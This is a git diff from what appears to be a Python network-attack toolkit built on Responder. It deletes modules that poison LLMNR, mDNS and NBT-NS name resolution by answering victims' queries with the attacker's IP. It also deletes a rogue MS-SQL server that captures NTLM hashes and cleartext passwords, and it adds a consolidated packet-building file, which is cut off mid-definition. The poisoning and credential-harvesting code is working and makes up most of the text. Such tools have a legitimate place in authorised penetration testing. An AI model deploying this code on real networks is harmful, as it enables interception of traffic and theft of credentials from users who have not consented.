Calculation: - self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack(" 10: - LMhashOffset = struct.unpack('i',data[2:6])[0] - MessageSequence = struct.unpack('i',data[11:15])[0] - LDAPVersion = struct.unpack(' {}".format(OURIP)) - server = ThreadingUDPLLMNRServer(("0.0.0.0", 5355), LLMNR) - t = threading.Thread(name="LLMNRpoisoner", target=server.serve_forever) #LLMNR - t.setDaemon(True) - t.start() - except Exception as e: - log.error("Error starting on port 5355: {}:".format(e)) - -class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer): - - allow_reuse_address = 1 - - def server_bind(self): - MADDR = "224.0.0.252" - self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) - self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255) - Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + socket.inet_aton(OURIP)) - - UDPServer.server_bind(self) - -#LLMNR Answer packet. -class LLMNRAns(Packet): - fields = OrderedDict([ - ("Tid", ""), - ("Flags", "\x80\x00"), - ("Question", "\x00\x01"), - ("AnswerRRS", "\x00\x01"), - ("AuthorityRRS", "\x00\x00"), - ("AdditionalRRS", "\x00\x00"), - ("QuestionNameLen", "\x09"), - ("QuestionName", ""), - ("QuestionNameNull", "\x00"), - ("Type", "\x00\x01"), - ("Class", "\x00\x01"), - ("AnswerNameLen", "\x09"), - ("AnswerName", ""), - ("AnswerNameNull", "\x00"), - ("Type1", "\x00\x01"), - ("Class1", "\x00\x01"), - ("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec. - ("IPLen", "\x00\x04"), - ("IP", "\x00\x00\x00\x00"), - ]) - - def calculate(self): - self.fields["IP"] = socket.inet_aton(OURIP) - self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) - self.fields["AnswerNameLen"] = struct.pack(">h",len(self.fields["AnswerName"]))[1] - self.fields["QuestionNameLen"] = struct.pack(">h",len(self.fields["QuestionName"]))[1] - -def Parse_LLMNR_Name(data): - NameLen = struct.unpack('>B',data[12])[0] - Name = data[13:13+NameLen] - return Name - -# LLMNR Server class. -class LLMNR(BaseRequestHandler): - - def handle(self): - - ResponderConfig = ConfigWatcher().config['Responder'] - DontRespondTo = ResponderConfig['DontRespondTo'] - DontRespondToName = ResponderConfig['DontRespondToName'] - RespondTo = ResponderConfig['RespondTo'] - RespondToName = ResponderConfig['RespondToName'] - - data, soc = self.request - try: - if data[2:4] == "\x00\x00": - if Parse_IPV6_Addr(data): - Name = Parse_LLMNR_Name(data) - if args.analyze: - if args.finger: - try: - Finger = RunSmbFinger((self.client_address[0],445)) - log.warning("{} is looking for: {} | OS: {} | Client Version: {}".format(self.client_address[0], Name,Finger[0],Finger[1])) - except Exception: - log.warning("{} is looking for: {}".format(self.client_address[0], Name)) - else: - log.warning("{} is looking for: {}".format(self.client_address[0], Name)) - - if DontRespondToSpecificHost(DontRespondTo): - if RespondToIPScope(DontRespondTo, self.client_address[0]): - return None - - if DontRespondToSpecificName(DontRespondToName) and DontRespondToNameScope(DontRespondToName.upper(), Name.upper()): - return None - - if RespondToSpecificHost(RespondTo): - if args.analyze == False: - if RespondToIPScope(RespondTo, self.client_address[0]): - if RespondToSpecificName(RespondToName) == False: - buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) - buff.calculate() - for x in range(1): - soc.sendto(str(buff), self.client_address) - log.warning("Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0],Name)) - if args.finger: - try: - Finger = RunSmbFinger((self.client_address[0],445)) - log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1])) - except Exception: - log.info('Fingerprint failed for host: {}'.format(self.client_address[0])) - pass - - if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): - buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) - buff.calculate() - for x in range(1): - soc.sendto(str(buff), self.client_address) - log.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0],Name)) - if args.finger: - try: - Finger = RunSmbFinger((self.client_address[0],445)) - log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1])) - except Exception: - log.info('Fingerprint failed for host: {}'.format(self.client_address[0])) - pass - - if args.analyze == False and RespondToSpecificHost(RespondTo) == False: - if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): - buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) - buff.calculate() - for x in range(1): - soc.sendto(str(buff), self.client_address) - log.warning("Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0], Name)) - if args.finger: - try: - Finger = RunSmbFinger((self.client_address[0],445)) - log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1])) - except Exception: - log.info('Fingerprint failed for host: {}'.format(self.client_address[0])) - pass - if RespondToSpecificName(RespondToName) == False: - buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name) - buff.calculate() - for x in range(1): - soc.sendto(str(buff), self.client_address) - log.warning("Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0], Name)) - if args.finger: - try: - Finger = RunSmbFinger((self.client_address[0],445)) - log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1])) - except Exception: - log.info('Fingerprint failed for host: {}'.format(self.client_address[0])) - pass - else: - pass - else: - pass - except: - raise \ No newline at end of file diff --git a/core/responder/llmnr/__init__.py b/core/responder/llmnr/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/core/responder/mdns/MDNSpoisoner.py b/core/responder/mdns/MDNSpoisoner.py deleted file mode 100644 index fbd6698..0000000 --- a/core/responder/mdns/MDNSpoisoner.py +++ /dev/null @@ -1,115 +0,0 @@ -import threading -import socket -import struct -import logging - -from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler -from core.configwatcher import ConfigWatcher -from core.responder.odict import OrderedDict -from core.responder.packet import Packet -from core.responder.common import * -from core.logger import logger - -formatter = logging.Formatter("%(asctime)s [MDNSpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") -log = logger().setup_logger("MDNSpoisoner", formatter) - -class MDNSpoisoner(): - - def start(self, options, ourip): - - global args; args = options - global OURIP; OURIP = ourip - - try: - log.debug("OURIP => {}".format(OURIP)) - server = ThreadingUDPMDNSServer(("0.0.0.0", 5353), MDNS) - t = threading.Thread(name="MDNSpoisoner", target=server.serve_forever) - t.setDaemon(True) - t.start() - except Exception, e: - log.error("Error starting on port 5353: {}" .format(e)) - -class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer): - - allow_reuse_address = 1 - - def server_bind(self): - MADDR = "224.0.0.251" - self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) - self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255) - Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP, socket.inet_aton(MADDR)+ socket.inet_aton(OURIP)) - UDPServer.server_bind(self) - -class MDNSAns(Packet): - fields = OrderedDict([ - ("Tid", "\x00\x00"), - ("Flags", "\x84\x00"), - ("Question", "\x00\x00"), - ("AnswerRRS", "\x00\x01"), - ("AuthorityRRS", "\x00\x00"), - ("AdditionalRRS", "\x00\x00"), - ("AnswerName", ""), - ("AnswerNameNull", "\x00"), - ("Type", "\x00\x01"), - ("Class", "\x00\x01"), - ("TTL", "\x00\x00\x00\x78"),##Poison for 2mn. - ("IPLen", "\x00\x04"), - ("IP", "\x00\x00\x00\x00"), - ]) - - def calculate(self): - self.fields["IP"] = socket.inet_aton(OURIP) - self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) - -def Parse_MDNS_Name(data): - data = data[12:] - NameLen = struct.unpack('>B',data[0])[0] - Name = data[1:1+NameLen] - NameLen_ = struct.unpack('>B',data[1+NameLen])[0] - Name_ = data[1+NameLen:1+NameLen+NameLen_+1] - return Name+'.'+Name_ - -def Poisoned_MDNS_Name(data): - data = data[12:] - Name = data[:len(data)-5] - return Name - -class MDNS(BaseRequestHandler): - - def handle(self): - - ResponderConfig = ConfigWatcher().config['Responder'] - RespondTo = ResponderConfig['RespondTo'] - - MADDR = "224.0.0.251" - MPORT = 5353 - data, soc = self.request - if self.client_address[0] == "127.0.0.1": - pass - try: - if args.analyze: - if Parse_IPV6_Addr(data): - log.info('{} is looking for: {}'.format(self.client_address[0],Parse_MDNS_Name(data))) - - if RespondToSpecificHost(RespondTo): - if args.analyze == False: - if RespondToIPScope(RespondTo, self.client_address[0]): - if Parse_IPV6_Addr(data): - - log.info('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0],Parse_MDNS_Name(data))) - Name = Poisoned_MDNS_Name(data) - MDns = MDNSAns(AnswerName = Name) - MDns.calculate() - soc.sendto(str(MDns),(MADDR,MPORT)) - - if args.analyze == False and RespondToSpecificHost(RespondTo) == False: - if Parse_IPV6_Addr(data): - log.info('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0],Parse_MDNS_Name(data))) - Name = Poisoned_MDNS_Name(data) - MDns = MDNSAns(AnswerName = Name) - MDns.calculate() - soc.sendto(str(MDns),(MADDR,MPORT)) - else: - pass - except Exception: - raise \ No newline at end of file diff --git a/core/responder/mdns/__init__.py b/core/responder/mdns/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/core/responder/mssql/MSSQLPackets.py b/core/responder/mssql/MSSQLPackets.py deleted file mode 100644 index 8e05eb1..0000000 --- a/core/responder/mssql/MSSQLPackets.py +++ /dev/null @@ -1,154 +0,0 @@ -#! /usr/bin/env python -# NBT-NS/LLMNR Responder -# Created by Laurent Gaffie -# Copyright (C) 2014 Trustwave Holdings, Inc. -# -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see . -import struct -from core.responder.odict import OrderedDict -from core.responder.packet import Packet - -#MS-SQL Pre-login packet class -class MSSQLPreLoginAnswer(Packet): - fields = OrderedDict([ - ("PacketType", "\x04"), - ("Status", "\x01"), - ("Len", "\x00\x25"), - ("SPID", "\x00\x00"), - ("PacketID", "\x01"), - ("Window", "\x00"), - ("TokenType", "\x00"), - ("VersionOffset", "\x00\x15"), - ("VersionLen", "\x00\x06"), - ("TokenType1", "\x01"), - ("EncryptionOffset", "\x00\x1b"), - ("EncryptionLen", "\x00\x01"), - ("TokenType2", "\x02"), - ("InstOptOffset", "\x00\x1c"), - ("InstOptLen", "\x00\x01"), - ("TokenTypeThrdID", "\x03"), - ("ThrdIDOffset", "\x00\x1d"), - ("ThrdIDLen", "\x00\x00"), - ("ThrdIDTerminator", "\xff"), - ("VersionStr", "\x09\x00\x0f\xc3"), - ("SubBuild", "\x00\x00"), - ("EncryptionStr", "\x02"), - ("InstOptStr", "\x00"), - ]) - - def calculate(self): - CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"])+str(self.fields["VersionStr"])+str(self.fields["SubBuild"])+str(self.fields["EncryptionStr"])+str(self.fields["InstOptStr"]) - - VersionOffset = str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"]) - - EncryptionOffset = VersionOffset+str(self.fields["VersionStr"])+str(self.fields["SubBuild"]) - - InstOpOffset = EncryptionOffset+str(self.fields["EncryptionStr"]) - - ThrdIDOffset = InstOpOffset+str(self.fields["InstOptStr"]) - - self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket)) - #Version - self.fields["VersionLen"] = struct.pack(">h",len(self.fields["VersionStr"]+self.fields["SubBuild"])) - self.fields["VersionOffset"] = struct.pack(">h",len(VersionOffset)) - #Encryption - self.fields["EncryptionLen"] = struct.pack(">h",len(self.fields["EncryptionStr"])) - self.fields["EncryptionOffset"] = struct.pack(">h",len(EncryptionOffset)) - #InstOpt - self.fields["InstOptLen"] = struct.pack(">h",len(self.fields["InstOptStr"])) - self.fields["EncryptionOffset"] = struct.pack(">h",len(InstOpOffset)) - #ThrdIDOffset - self.fields["ThrdIDOffset"] = struct.pack(">h",len(ThrdIDOffset)) - -#MS-SQL NTLM Negotiate packet class -class MSSQLNTLMChallengeAnswer(Packet): - fields = OrderedDict([ - ("PacketType", "\x04"), - ("Status", "\x01"), - ("Len", "\x00\xc7"), - ("SPID", "\x00\x00"), - ("PacketID", "\x01"), - ("Window", "\x00"), - ("TokenType", "\xed"), - ("SSPIBuffLen", "\xbc\x00"), - ("Signature", "NTLMSSP"), - ("SignatureNull", "\x00"), - ("MessageType", "\x02\x00\x00\x00"), - ("TargetNameLen", "\x06\x00"), - ("TargetNameMaxLen", "\x06\x00"), - ("TargetNameOffset", "\x38\x00\x00\x00"), - ("NegoFlags", "\x05\x02\x89\xa2"), - ("ServerChallenge", ""), - ("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"), - ("TargetInfoLen", "\x7e\x00"), - ("TargetInfoMaxLen", "\x7e\x00"), - ("TargetInfoOffset", "\x3e\x00\x00\x00"), - ("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"), - ("TargetNameStr", "SMB"), - ("Av1", "\x02\x00"),#nbt name - ("Av1Len", "\x06\x00"), - ("Av1Str", "SMB"), - ("Av2", "\x01\x00"),#Server name - ("Av2Len", "\x14\x00"), - ("Av2Str", "SMB-TOOLKIT"), - ("Av3", "\x04\x00"),#Full Domain name - ("Av3Len", "\x12\x00"), - ("Av3Str", "smb.local"), - ("Av4", "\x03\x00"),#Full machine domain name - ("Av4Len", "\x28\x00"), - ("Av4Str", "server2003.smb.local"), - ("Av5", "\x05\x00"),#Domain Forest Name - ("Av5Len", "\x12\x00"), - ("Av5Str", "smb.local"), - ("Av6", "\x00\x00"),#AvPairs Terminator - ("Av6Len", "\x00\x00"), - ]) - - def calculate(self): - ##First convert to uni - self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le') - self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le') - self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le') - self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le') - self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le') - self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le') - ##Then calculate - - CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["SSPIBuffLen"])+str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) - - CalculateSSPI = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) - - CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"]) - - CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"]) - - CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) - - self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket)) - self.fields["SSPIBuffLen"] = struct.pack(" 60: - DomainLen = struct.unpack('H',Data[2:4])[0] - EncryptionValue = Data[PacketLen-7:PacketLen-6] - if re.search("NTLMSSP",Data): - return True - else: - return False - -#MS-SQL server class. -class MSSQL(BaseRequestHandler): - - def handle(self): - try: - while True: - data = self.request.recv(1024) - self.request.settimeout(0.1) - ##Pre-Login Message - if data[0] == "\x12": - buffer0 = str(MSSQLPreLoginAnswer()) - self.request.send(buffer0) - data = self.request.recv(1024) - ##NegoSSP - if data[0] == "\x10": - if re.search("NTLMSSP",data): - t = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge) - t.calculate() - buffer1 = str(t) - self.request.send(buffer1) - data = self.request.recv(1024) - else: - ParseClearTextSQLPass(data,self.client_address[0]) - ##NegoSSP Auth - if data[0] == "\x11": - ParseSQLHash(data,self.client_address[0]) - except Exception: - pass - self.request.close() diff --git a/core/responder/mssql/__init__.py b/core/responder/mssql/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/core/responder/nbtns/NBTNSpoisoner.py b/core/responder/nbtns/NBTNSpoisoner.py deleted file mode 100644 index ec9fbaf..0000000 --- a/core/responder/nbtns/NBTNSpoisoner.py +++ /dev/null @@ -1,212 +0,0 @@ -#! /usr/bin/env python2.7 - -import threading -import socket -import struct -import logging -import string - -from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler -from core.logger import logger -from core.configwatcher import ConfigWatcher -from core.responder.fingerprinter.Fingerprint import RunSmbFinger -from core.responder.odict import OrderedDict -from core.responder.packet import Packet -from core.responder.common import * - -formatter = logging.Formatter("%(asctime)s [NBTNSpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") -log = logger().setup_logger("NBTNSpoisoner", formatter) - -class NBTNSpoisoner(): - - def start(self, options, ourip): - - global OURIP; OURIP = ourip - global args; args = options - - try: - log.debug("OURIP => {}".format(ourip)) - server = ThreadingUDPServer(("0.0.0.0", 137), NB) - t = threading.Thread(name="NBTNSpoisoner", target=server.serve_forever) - t.setDaemon(True) - t.start() - except Exception as e: - log.debug("Error starting on port 137: {}".format(e)) - -class ThreadingUDPServer(ThreadingMixIn, UDPServer): - - allow_reuse_address = 1 - - def server_bind(self): - UDPServer.server_bind(self) - -#NBT-NS answer packet. -class NBT_Ans(Packet): - fields = OrderedDict([ - ("Tid", ""), - ("Flags", "\x85\x00"), - ("Question", "\x00\x00"), - ("AnswerRRS", "\x00\x01"), - ("AuthorityRRS", "\x00\x00"), - ("AdditionalRRS", "\x00\x00"), - ("NbtName", ""), - ("Type", "\x00\x20"), - ("Classy", "\x00\x01"), - ("TTL", "\x00\x00\x00\xa5"), - ("Len", "\x00\x06"), - ("Flags1", "\x00\x00"), - ("IP", "\x00\x00\x00\x00"), - ]) - - def calculate(self,data): - self.fields["Tid"] = data[0:2] - self.fields["NbtName"] = data[12:46] - self.fields["IP"] = socket.inet_aton(OURIP) - -def NBT_NS_Role(data): - Role = { - "\x41\x41\x00":"Workstation/Redirector Service", - "\x42\x4c\x00":"Domain Master Browser", - "\x42\x4d\x00":"Domain controller service", - "\x42\x4e\x00":"Local Master Browser", - "\x42\x4f\x00":"Browser Election Service", - "\x43\x41\x00":"File Server Service", - "\x41\x42\x00":"Browser Service", - } - - if data in Role: - return Role[data] - else: - return "Service not known." - -# Define what are we answering to. -def Validate_NBT_NS(data,Wredirect): - if args.analyze: - return False - - if NBT_NS_Role(data[43:46]) == "File Server Service.": - return True - - if args.nbtns == True: - if NBT_NS_Role(data[43:46]) == "Domain controller service. This name is a domain controller.": - return True - - if Wredirect == True: - if NBT_NS_Role(data[43:46]) == "Workstation/Redirector Service.": - return True - - else: - return False - -def Decode_Name(nbname): - #From http://code.google.com/p/dpkt/ with author's permission. - try: - if len(nbname) != 32: - return nbname - l = [] - for i in range(0, 32, 2): - l.append(chr(((ord(nbname[i]) - 0x41) << 4) | - ((ord(nbname[i+1]) - 0x41) & 0xf))) - return filter(lambda x: x in string.printable, ''.join(l).split('\x00', 1)[0].replace(' ', '')) - except Exception, e: - log.debug("Error parsing NetBIOS name: {}".format(e)) - return "Illegal NetBIOS name" - -# NBT_NS Server class. -class NB(BaseRequestHandler): - - def handle(self): - - ResponderConfig = ConfigWatcher().config['Responder'] - DontRespondTo = ResponderConfig['DontRespondTo'] - DontRespondToName = ResponderConfig['DontRespondToName'] - RespondTo = ResponderConfig['RespondTo'] - RespondToName = ResponderConfig['RespondToName'] - - data, socket = self.request - Name = Decode_Name(data[13:45]) - - if DontRespondToSpecificHost(DontRespondTo): - if RespondToIPScope(DontRespondTo, self.client_address[0]): - return None - - if DontRespondToSpecificName(DontRespondToName) and DontRespondToNameScope(DontRespondToName.upper(), Name.upper()): - return None - - if args.analyze: - if data[2:4] == "\x01\x10": - if args.finger: - try: - Finger = RunSmbFinger((self.client_address[0],445)) - log.warning("{} is looking for: {} | Service requested: {} | OS: {} | Client Version: {}".format(self.client_address[0], Name,NBT_NS_Role(data[43:46]),Finger[0],Finger[1])) - except Exception: - log.warning("{} is looking for: {} | Service requested is: {}".format(self.client_address[0], Name, NBT_NS_Role(data[43:46]))) - else: - log.warning("{} is looking for: {} | Service requested is: {}".format(self.client_address[0], Name, NBT_NS_Role(data[43:46]))) - - if RespondToSpecificHost(RespondTo) and args.analyze == False: - if RespondToIPScope(RespondTo, self.client_address[0]): - if data[2:4] == "\x01\x10": - if Validate_NBT_NS(data,args.wredir): - if RespondToSpecificName(RespondToName) == False: - buff = NBT_Ans() - buff.calculate(data) - for x in range(1): - socket.sendto(str(buff), self.client_address) - log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name)) - if args.finger: - try: - Finger = RunSmbFinger((self.client_address[0],445)) - log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1])) - except Exception: - log.info('Fingerprint failed for host: %s'%(self.client_address[0])) - pass - if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): - buff = NBT_Ans() - buff.calculate(data) - for x in range(1): - socket.sendto(str(buff), self.client_address) - log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name)) - if args.finger: - try: - Finger = RunSmbFinger((self.client_address[0],445)) - log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1])) - except Exception: - log.info('Fingerprint failed for host: %s'%(self.client_address[0])) - pass - else: - pass - else: - pass - - else: - if data[2:4] == "\x01\x10": - if Validate_NBT_NS(data,args.wredir) and args.analyze == False: - if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()): - buff = NBT_Ans() - buff.calculate(data) - for x in range(1): - socket.sendto(str(buff), self.client_address) - log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name)) - if args.finger: - try: - Finger = RunSmbFinger((self.client_address[0],445)) - log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1])) - except Exception: - log.info('Fingerprint failed for host: %s'%(self.client_address[0])) - pass - if RespondToSpecificName(RespondToName) == False: - buff = NBT_Ans() - buff.calculate(data) - for x in range(1): - socket.sendto(str(buff), self.client_address) - log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name)) - if args.finger: - try: - Finger = RunSmbFinger((self.client_address[0],445)) - log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1])) - except Exception: - log.info('Fingerprint failed for host: %s'%(self.client_address[0])) - pass - else: - pass \ No newline at end of file diff --git a/core/responder/nbtns/__init__.py b/core/responder/nbtns/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/core/responder/odict.py b/core/responder/odict.py index 89a9172..56abb70 100644 --- a/core/responder/odict.py +++ b/core/responder/odict.py @@ -1,6 +1,6 @@ -# NBT-NS/LLMNR Responder -# Created by Laurent Gaffie -# Copyright (C) 2014 Trustwave Holdings, Inc. +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by @@ -11,12 +11,9 @@ # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. -# +# # You should have received a copy of the GNU General Public License # along with this program. If not, see . - - -#Packet class handling all packet generation (see odict.py). from UserDict import DictMixin class OrderedDict(dict, DictMixin): diff --git a/core/responder/packet.py b/core/responder/packet.py deleted file mode 100644 index ffdf157..0000000 --- a/core/responder/packet.py +++ /dev/null @@ -1,34 +0,0 @@ -# NBT-NS/LLMNR Responder -# Created by Laurent Gaffie -# Copyright (C) 2014 Trustwave Holdings, Inc. -# -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see . - - -#Packet class handling all packet generation (see odict.py). -from odict import OrderedDict - -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) diff --git a/core/responder/packets.py b/core/responder/packets.py new file mode 100644 index 0000000..a11e504 --- /dev/null +++ b/core/responder/packets.py @@ -0,0 +1,1277 @@ +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import struct +import settings + +from base64 import b64decode, b64encode +from odict import OrderedDict + +# Packet class handling all packet generation (see odict.py). +class Packet(): + fields = OrderedDict([ + ("data", ""), + ]) + def __init__(self, **kw): + self.fields = OrderedDict(self.__class__.fields) + for k,v in kw.items(): + if callable(v): + self.fields[k] = v(self.fields[k]) + else: + self.fields[k] = v + def __str__(self): + return "".join(map(str, self.fields.values())) + +# NBT Answer Packet +class NBT_Ans(Packet): + fields = OrderedDict([ + ("Tid", ""), + ("Flags", "\x85\x00"), + ("Question", "\x00\x00"), + ("AnswerRRS", "\x00\x01"), + ("AuthorityRRS", "\x00\x00"), + ("AdditionalRRS", "\x00\x00"), + ("NbtName", ""), + ("Type", "\x00\x20"), + ("Classy", "\x00\x01"), + ("TTL", "\x00\x00\x00\xa5"), + ("Len", "\x00\x06"), + 